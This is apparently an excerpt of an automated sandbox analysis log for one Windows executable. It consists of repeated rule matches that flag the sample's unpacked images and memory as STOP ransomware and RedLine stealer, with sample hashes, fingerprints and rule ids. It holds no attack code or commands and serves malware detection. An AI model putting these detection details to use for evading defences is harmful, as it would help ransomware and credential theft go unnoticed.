Source: n8XBpFdVFU.exe, 00000000.00000000.1622743558.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000001.00000000.1625776726.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000001.00000003.1640660310.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000003.00000002.1650079394.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000004.00000000.1647604390.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000005.00000000.1654643487.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 00000006.00000000.1658127832.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe
Source: n8XBpFdVFU.exe, 0000000A.00000000.1734651232.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs n8XBpFdVFU.exe

Source: n8XBpFdVFU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1745411622.0000000004458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.1717559855.0000000001DBF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.2010099363.00000000041E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.1661479218.000000000454F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: n8XBpFdVFU.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n8XBpFdVFU.exe PID: 4308, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
